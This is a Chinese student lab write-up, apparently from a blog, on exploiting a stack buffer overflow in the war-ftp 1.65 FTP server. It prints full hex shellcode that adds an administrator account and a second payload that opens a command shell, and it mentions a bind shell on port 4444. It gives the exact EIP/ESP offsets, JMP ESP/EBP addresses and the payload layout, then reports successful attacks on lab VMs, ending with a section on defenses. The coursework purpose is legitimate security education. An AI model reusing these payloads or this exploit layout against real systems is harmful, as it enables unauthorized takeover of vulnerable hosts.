完整图片版:http://1.johnhome.sinaapp.com/?p=157
一.目的
1.1掌握缓冲区溢出的原理
缓冲区指程序运行期间,在内存中分配的一个连续的区域,用于保存包括字符数组在内
的各种数据类型。溢出,指所填充的数据超出了原有的缓冲区边界,并非法占据了另一段内存区域。缓冲区溢出,即由于填充数据越界而导致原有流程的改变,攻击者借此精心构造填充数据,让程序转而执行特殊的代码,最终获取控制权。
1.2掌握常用的缓冲区溢出方法
缓冲区溢出攻击的目的在于取得程序的控制权,为此,攻击者必须达到如下的两个目标:在程序的地址空间里安排适当的代码;通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。
根据这两个目标来对缓冲区溢出攻击进行分类,缓冲区溢出攻击分为代码安排和控制程序执行流程两种方法:在程序的地址空间里安排适当的代码的方法;控制程序转移到攻击代码的方法。
1.3理解缓冲区溢出的危害性
缓冲区溢出的危害性具有破坏性与隐蔽性的特点:破坏性体现在易使服务程序停止运行,服务器死机甚至删除服务器上的数据或者可以执入并运行攻击代码。隐蔽性体现在软件漏洞难以避免,缓冲攻击的shellcode的执行不易被察觉,攻击的随机性及不可预测性。
1.4掌握防范和避免缓冲区溢出攻击的方法
通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;强制编写正确的代码;利用编译器的边界检查来实现缓冲区的保护;间接的方法是在程序指针失效前进行完整性检查等。
二.内容
2.1分析war-ftp v1.65的基于用户名的缓冲溢出漏洞
实践课件上已指出:向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n),溢出之后,ESP中的内容包含了longString中的部分内容。需要对其进行验证分析。
2.2分析war-ftp v1.65的堆栈结构
即分析堆栈中的EIP、ESP、EBP等的精确位置。
2.3构造针对war-ftp v1.65的exploit
根据上述的分析结果,参照实践课件的例子,从网上(主要是metasploit.com)获取shellcode,构造exploit。
三.环境
3.1调试工具
CDB(安装Debugging Tools for Windows),这个实践使用CDB就足够了。
OllyDBG,一个强大的具有可视化界面的 32 位汇编-分析调试器。
3.2编程语言
使用C语言,能找到的shellcode只有C、perl、ruby、javascript、raw的,本人只对C熟悉。
3.3网络环境
使用虚拟机Vmware6.5,物理主机与虚拟机内装的windowsXP(192.168.85.3),windows server 2000(192.168.85.6),windows server 2003(192.168.85.5)所处网段为192.168.85.0/24。
3.4其它工具
Shellcode生成工具:http://www.metasploit.com:55555/PAYLOADS
堆栈指针定位工具:ActivePerl,提供perl运行环境;安装metasploit后, frameworklib下的PatternCreate.pl可用于构造一个不重复的字符串;framework/sdk下的patternOffset.pl用来计算来前者产生的字符串中某段字符的偏移量。
四.设计(详细过程)
4.1验证War-ftp v1.65基于用户名的缓冲溢出漏洞
在虚拟主机WindowsXP中运行war-ftp 1.65,允许匿名登录;
在物理主机使用cuteftp登录,用户名使用依次增加的“AAA…”,当用户名长度超过480时,war-ftp 1.65出现异常甚至崩溃退出。使用cdb(480个A),OllyDBG(481个A),cdb(486个A)调试截图如下:
图4-1:用户名为480个A
图4-2:用户名为481个A
图4-3:用户名为486个A
图4-4:用户名为500个A
图4-3中EIP=63202041,41为A的ASCII码,结合图4-4,这隐约表示EIP的偏移量可能为485,这将在下一节将进行验证。
以上截图表明War-ftp 1.65确实存在漏洞:
“向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n),溢出之后,ESP中的内容包含了longString中的部分内容。”
4.2分析War-ftp 1.65的堆栈结构
由于堆栈Ret里的地址被赋给EIP,CPU继续执行EIP所指向的命令,即EIP寄存器的内容表示将要执行的下一条指令地址,所以需要定位RET的精确位置。为了把shellcode放入预期的EIP指向的ESP或EBP,还需要定位ESP、EBP的精确位置。这里使用CDB及PatternCreate.pl, PatternOffset.pl来实现。
首先使用 PatternCreate.pl生成1000个不重复的字符;
使用cdb挂起war-ftp 1.65,然后把一千个字符作为FTP登录的用户名连接war-ftp 1.65;
读取EIP的值,ESP,EBP的内容:
图4-5:EIP的值,ESP,EBP的内容
用PatternOffset.pl计算RET、ESP、EBP的偏移量:
图4-6:RET、ESP、EBP的偏移量
结果表明,EIP指向第485位置(从0开始计数),ESP指向第493位置,EBP指向第581位置。从而可以得到war-ftp 1.65的堆栈结构图如下:
图4-7:war-ftp v1.65的堆栈结构简图
4.3获取shellcode
由于对汇编语言不熟悉,没达到手工编写shellcode的境界,所以这次实践所用的shellcode都是来自于互联网,下边例举两个:
//shellcode,添加用户名为zane,密码为enaz的管理员用户:net user zane enaz /add
/* win32_adduser - PASS=enaz EXITFUNC=process USER=zane Size=476 Encoder=Alpha2 http://metasploit.com */
unsigned char scode0[]=
“\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49″
“\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x51\x5a\x6a\x4a”
“\x58\x30\x42\x30\x50\x41\x6b\x41\x41\x5a\x42\x32\x41\x42\x32\x42″
“\x41\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x7a\x49\x79\x6c\x69″
“\x78\x51\x54\x57\x70\x43\x30\x63\x30\x4c\x4b\x67\x35\x45\x6c\x6e”
“\x6b\x71\x6c\x66\x65\x43\x48\x55\x51\x5a\x4f\x4e\x6b\x70\x4f\x42″
“\x38\x4c\x4b\x43\x6f\x51\x30\x56\x61\x78\x6b\x30\x49\x4c\x4b\x76″
“\x54\x4c\x4b\x65\x51\x7a\x4e\x66\x51\x6b\x70\x5a\x39\x6e\x4c\x4d”
“\x54\x4f\x30\x73\x44\x56\x67\x68\x41\x5a\x6a\x66\x6d\x44\x41\x6a”
“\x62\x58\x6b\x48\x74\x65\x6b\x72\x74\x31\x34\x77\x74\x74\x35\x79″
“\x75\x6c\x4b\x73\x6f\x67\x54\x64\x41\x7a\x4b\x62\x46\x6e\x6b\x64″
“\x4c\x30\x4b\x6e\x6b\x33\x6f\x75\x4c\x37\x71\x48\x6b\x6e\x6b\x57″
“\x6c\x4c\x4b\x77\x71\x58\x6b\x4c\x49\x61\x4c\x56\x44\x47\x74\x69″
“\x53\x70\x31\x4b\x70\x45\x34\x4c\x4b\x31\x50\x64\x70\x6f\x75\x49″
“\x50\x52\x58\x36\x6c\x4c\x4b\x43\x70\x64\x4c\x4e\x6b\x74\x30\x45″
“\x4c\x4c\x6d\x4e\x6b\x63\x58\x33\x38\x6a\x4b\x47\x79\x4c\x4b\x4d”
“\x50\x68\x30\x37\x70\x73\x30\x53\x30\x6e\x6b\x35\x38\x55\x6c\x53″
“\x6f\x47\x41\x6a\x56\x73\x50\x52\x76\x4b\x39\x7a\x58\x4f\x73\x6b”
“\x70\x63\x4b\x76\x30\x42\x48\x31\x6e\x78\x58\x78\x62\x62\x53\x62″
“\x48\x7a\x38\x4b\x4e\x4f\x7a\x66\x6e\x30\x57\x69\x6f\x38\x67\x61″
“\x73\x50\x6d\x55\x34\x66\x4e\x33\x55\x73\x48\x35\x35\x61\x30\x54″
“\x6f\x45\x33\x31\x30\x50\x6e\x72\x45\x50\x74\x65\x70\x30\x75\x41″
“\x63\x70\x65\x73\x42\x37\x50\x51\x6a\x62\x41\x62\x4e\x72\x45\x71″
“\x30\x71\x75\x70\x6e\x50\x61\x72\x5a\x37\x50\x46\x4f\x43\x71\x71″
“\x54\x43\x74\x41\x30\x36\x46\x51\x36\x55\x70\x70\x6e\x43\x55\x70″
“\x74\x55\x70\x30\x6c\x72\x4f\x32\x43\x35\x31\x50\x6c\x70\x67\x64″
“\x32\x72\x4f\x54\x35\x42\x50\x35\x70\x32\x61\x71\x74\x42\x4d\x62″
“\x49\x30\x6e\x55\x39\x33\x43\x73\x44\x71\x62\x51\x71\x72\x54\x50″
“\x6f\x54\x32\x31\x63\x45\x70\x71\x6a\x42\x41\x62\x4e\x41\x75\x55″
“\x70\x46\x4f\x30\x41\x30\x44\x30\x44\x43\x30\x4a”;
//攻击本地主机时,打开CMD界面
/*来自《缓冲区溢出就是这么简单-学院-黑客基地》
www.hackbase.com/tech/2008-08-12/41442.html*/
unsigned char scode2[] =
“\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53″
“\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6″
“\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA”
“\x77\x1d\x80\x7c”
“\x52\x8D\x45\xF4\x50\xFF\x55\xF0″
“\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E”
“\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4″
“\x50\xB8″
“\xc7\x93\xbf\x77″
“\xFF\xD0″
“\x83\xC4\x12\x5D” ;
此外,还有
//绑定一个shell在4444端口,可远程telnet登录
/* win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */
4.4构造exploit
这里的重点之一是寻找组成注入向量的跳转地址:
如果选择ESP为跳转的寄存器,则需要JMP ESP的指令地址,使用failwest在《软件漏洞分析入门_6_初级shellcode_定位缓冲区》提出的代码,在中文Windows系统核心dll中查找, 找到XP user32.dll的JMP ESP:0x77d7c5fb, XP kernel32.dll的JMP ESP:0x7c834d7b,此外可以使用中文WIN 2K/XP/2003下通用的JMP ESP:0x7ffa4512;如果选择EBP为跳转的寄存器,则需要JMP EBP的指令地址,这可以使用中文WIN 2K/XP/2003下通用的JMP EBP:0x7ffa4967。
重点之二是构造攻击代码:
由于shellcode可能很长,所以使用RNS模式(构造一个大的数组,数组的前一部分填充R,即返回地址,这里填充的R的数目必须能够覆盖ret,R的值必须指向大量nops中的任何一个,这样经过一定的nops空转后,必然能执行shellcode。)
图4-8:使用JMP ESP的exploit示意图
图4-8的exploit构造一个数组,以命令USER紧跟一个空格开头,后接485个NOP空转指令,紧接着的4个字节用JMP ESP地址如“\x12\x45\xfa\x7f”来填充(这是因为x86系统是little-endian方式),之后4字节继续用NOP填充,然后从第498字节开始把shellcode复制过去,最后以\r\n表示FTP USER命令结束。攻击时,发生缓冲溢出,CPU根据EIP的地址跳转到堆栈第493字节开始的ESP执行shellcode。
图4-9:使用JMP EBP的exploit示意图
图4-9的exploit构造一个数组,以命令USER紧跟一个空格开头,后接485个NOP空转指令,紧接着的4个字节用JMP ESP地址如“\x12\x45\xfa\x7f”来填充(这是因为x86系统是little-endian方式),之后92字节继续用NOP填充,然后从第586字节开始把shellcode复制过去,最后以\r\n表示FTP USER命令结束。攻击时,发生缓冲溢出,CPU根据EIP的地址跳转到堆栈第581字节开始的EBP执行shellcode。
4.5编程实现
根据用户的选择,构造溢出字符串(即构造后接shellcode的USER命令:
USER exploitcode\r\n);
根据用户提供的数据,使用Socket,使用connect连接目标主机;
向目标主机发送溢出字符串(send);
关闭连接。
4.6程序测试(见结论)
编写的程序根据用户输入的目标IP及攻击编号进行相应的攻击,具体结果请见下边的“实践结论”。
五.结论
在DOS下运行warftpattack,可得到使用说明及可用的攻击类型指示:
图5-1:程序运行主界面
使用该程序的正确命令为:
Warftpattack <host> <attacknumber>,例如 warftpattack 192.168.85.3 0
提供了多种攻击类型,其中0号攻击在Windows 2K/XP/2003上测试通过,其它只在XP上通过。
5.1攻击远程主机建立管理员用户
使用命令warftpattack 192.168.85.6 0攻击在虚拟机中的windows 2000Server,结果截图如下:
图5-2:攻击远程主机建立管理员用户
上图的左半部分是在物理主机运行warftpattack的提示:使用windows 2k/xp/2003 的通用的JMP ESP:0x7ffa4512,在远程主机新建密码为enaz管理员用户zane,EXITFUNC=process,右半部分则表明目标主机确实新建了zane用户。
5.2攻击远程主机打开端口4444
使用命令warftpattack 192.168.85.3 1攻击在虚拟机中的windows XP,结果截图如下:
图5-3:攻击远程主机打开4444端口
上图的左上半部分是在物理主机运行warftpattack的提示:使用windows 2k/xp/2003 的通用的JMP ESP:0x7ffa4512,绑定一个shell在4444端口,可远程telnet登录,右上部分则表明正以telnet登录被攻击主机,下半部分表明登录成功,顺利登录到了被攻击主机的war-ftp的安装目录下。
5.3攻击本地主机打开shell
使用命令warftpattack 192.168.85.3 2攻击本地主机127.0.0.1,结果截图如下:
图5-4:攻击本地主机打开shell
上图的上半部分是运行warftpattack的提示:使用windowsXP user32.dll的JMP ESP:0x77d7c5fb,攻击本地主机127.0.0.1时弹出CMD界面,下半部分是运行程序后弹出的shell界面,表明达到预期的攻击效果。
5.4使用非通用的JMP ESP
使用命令warftpattack 192.168.85.3 3攻击在虚拟机中的windows XP,结果截图如下:
图5-5:使用非通用的JMP ESP
上图的左半部分是在物理主机运行warftpattack的提示:使用windowsXP kernel32.dll的JMP ESP:0x7c834d7b,在远程主机新建密码为enaz管理员用户zane,EXITFUNC=thread,右半部分被攻击的主机用户账户攻击前后的情况。
命令warftpattack 192.168.85.3 3及命令warftpattack 192.168.85.3 2使用的分别是Windows XP 系统的核心kernel32.dll及user32.dll中的JMP ESP地址。
5.5使用JMP EBP
使用命令warftpattack 192.168.85.3 4攻击在虚拟机中的windows XP,结果截图如下:
图5-6:使用JMP EBP
上图的左半部分是在物理主机运行warftpattack的提示:使用windows 2k/xp/2003 的通用的JMP EBP:0x7ffa4967,在远程主机新建密码为enaz管理员用户zane,EXITFUNC=process,右半部分被攻击的主机用户账户攻击前后的情况。
5.6结论
所编写的程序能完成对运行于中文windowsXP上的war-ftp 1.65的攻击,并执行新建管理员用户(0号攻击对windows2000Server也有效)或打开某个端口或打开shell。与实践例程相比,其特色之一在于使用了WindowsXP核心dll中的JMP ESP地址,特色之二在于使用EBP作为跳转寄存器,特色之三是能打开目标主机上的4444端口或者本地主机的shell。
六.实践体会
6.1针对缓冲溢出的防御方法
从代码编写的角度来说,对于缓冲区的操作要进行严格的边界检查,这可借助一些工具如编译器来实现,像这次实践的war-ftp 1.65就应该对用户名数组边界进行检测;从运行状态来看,可进行动态保护,主要是数组边界检查和保证返回指针的完整性;从开发语言来看可使用类型-安全的编程语言如Java;此外还可以从系统的角度阻止攻击代码的执行,例如非执行的缓冲区技术。对于操作系统而言,Windows从XP SP2引入的DEP(Data Execution Prevention)即“数据执行保护”,一直延续到此后的Windows Server 2003、Windows Server 2008中,后者的Address Space Load Randomization让缓冲区溢出攻击变得非常困难,在Windows 7中,DEP默认是激活的。
6.2实践中遇到的问题
实践中遇到的问题不少,在逐个解决问题的过程中体验到了成功的喜悦,并逐步加深了对相关技术的理解。
1) War-ftp1.65基于用户名的漏洞无法呈现
在上完实践指导课回来后,立刻在虚拟机WindowsXP中运行在课堂上拷贝过来的war-ftp 1.65,在物理主机WindowsXP的DOS下使用FTP命令连接虚拟机中的war-ftp。按照实践提示,当USER后接超过480个字符后,目标主机的war-ftp程序应该崩溃,但即使我把字符数增加到1000、2000,war-ftp程序仍安然无恙!这个问题困扰了我几天。于是发邮件请教,检查了是否为war-ftp1.65原始版本,增加了字符数量,但漏洞仍未呈现。后来bitixy@yahoo.cn同学的邮件提醒了我,这可能是WindowsXPSP2 DOS下FTP命令对USER长度有限制,即在传输到目标主机时产生了截断!经过测试,发现确实如此,当USER长度超过78个字符时,系统只截取前78个字符发送给目标主机。知道原因后,我采用了CuteFTP进行登录,当用户名长度超过480个字符时,漏洞呈现,该问题解决。这个问题如果我当时注意并仔细分析了war-ftp的状态栏显示的用户名就应该能早点解决。
2) 使用patterncreate.pl生成的字符串超过1132时不能定位EIP等
当使用patterncreate.pl生成2000、1200、1133字符进行攻击时,读取到的EIP,ESP,EBP的内容都不在这些生成的字符中,当生成1132字符进行攻击时,能定位到EIP,ESP,EBP位置。为什么会这样?期待各位的解析。但这提示我要注意加入的shellcode的长度,含有shellcode的不包括“USER ”字符串的字符数组长度不能超过1132,否则攻击无效。最后实践证明这个猜测正确!
3) Metasploit生成的Shellcode不能使用
开始是下载Metasploit 3的framework,选择其中的WEB界面,从payloads生成shellcode,结果生成的shellcode都不能达到预期的攻击效果。与人交流,并在网上搜索了很久,最后得到的有用信息有:要选择对应的平台如WIN32平台,EXITFUNC可以选process,thread,但对于本实践构造的exploit不能选择seh,至于为什么只在一个邮件列表回复中找到这样的话:
“When EXITFUNC is set to ”thread”, it uses ExitThread(), when it is ”process”, it uses ExitProcess(), and when it is set to ”seh”, it forces an exception (call 0×0 iirc).”,另外she的全称是“Structured Exception Handler”。
至今未能弄清其具体原因。
更关键的设置在于Encoder的选取,为了增加生成的shellcode的可用性,如果选择从http://www.metasploit.com:55555生成payloads,务必要选择Alpha2(Saumil Shah在《Writing Metasploit Plugins》中指出“Alpha2 generates resultant shellcode which is only alphanumeric”)或PexAlphaNum。具体原因有待进一步研究。
4) 如何查找JMP ESP,JMP EBP地址
实践例程提供了win 2K/XP/2003的通用JMP ESP地址:0x7ffa4512,网上还提供了使用windows 2k/xp/2003 的通用的JMP EBP:0x7ffa4967地址。如何查找到具体版本的核心dll中的JMP ESP地址,这可用OllyDBG的OllyUni插件或Metasploit Framework中的相关插件完成,也可以根据JMP ESP的机器码0xFFE4编程载入相关的*.dll来查找。
5) 是否只能用JMP ESP
开始以为跳转的寄存器只能用ESP,后来发现也可以使用EBP,只要在RET中指定相应的地址,EBP及之后的空间足够用于存储shellcode。
6) 用于攻击的字符数组的合适长度
这个问题之前一直没找到最重要的依据,在解决了第2)个问题时,这个问题得到了比较好的答案,即含有shellcode的不包括“USER ”字符串的字符数组长度不能超过1132,由于shellcode可能比较长,所以可以预设字符数组长度为1132+5=1137。
7) 不能返回被攻击的远程主机shell
即在运行攻击命令后,本地主机自动获得远程主机的shell。这个问题尚未解决。这可能与这样的shellcode较长导致字符数组长度超过war-ftp 1.65缓冲总大小有关,也可能是与socket编程有关。
七.文献阅读
[1] Aleph One. Smashing the Stack for Fun and Profit
http://www.shmoo.com/phrack/49/p49-14
论文详细描述了Linux 系统中栈的结构和如何利用基于栈的缓冲区溢出。Aleph One 的贡献还在于给出了如何写开一个shell 的Exploit 的方法,并给这段代码赋予shellcode 的名称,而这个称呼沿用至今。编译一段使用系统调用的简单的C 程序,通过调试器抽取汇编代码,并根据需要修改这段汇编代码。他所给出的代码可以在x86/Linux,SPARC/Solaris 和Sparc/SunOS 系统正确的工作。受到Aleph One 的文章的启发,Internet 上出现了大量的文章讲述如何利用缓冲区溢出和如何写一段所需的Exploit。这可谓具有实际意义的缓冲溢出攻击开山之作。
[2] Sergio Alvarez.Intro to Win32 Exploits
论文选择‘War-FTPdvl.65′ 的一个stack缓冲区溢出漏洞,文章从漏洞发现、漏洞调试到漏洞利用,详细讲解如何找到buffer长度,如何寻找‘JMP ESP’地址,如何写exploit。使用了python,fuzzer v1.0,OllyDBG,OllyUni工具。这对本实践有较大的启发作用,但对本实践的直接作用不大。
[3] failwest. 软件漏洞分析入门
这是一个关于软件漏洞分析入门的系列,主要看了其中的初级shellcode部分,对软件的堆栈结构及缓冲区定位有着非常详细的介绍,图文并茂,并提供了获取JMP ESP的源代码。
[4] C Cowan.Buffer Overflows:Attacks and Defenses for the Vulnerability of the Decade
文章提出了缓冲区溢出漏洞详细的分类和分析缓冲区溢出漏洞,攻击,以及防御系统。论文提出了几种防止缓冲区溢出的防范方法,数组必须进行越界检查,指针完整性检查,兼容性和性能也必须考虑,使用类型安全语言编写程序等。
本文完整代码:https://github.com/jiangzhw/*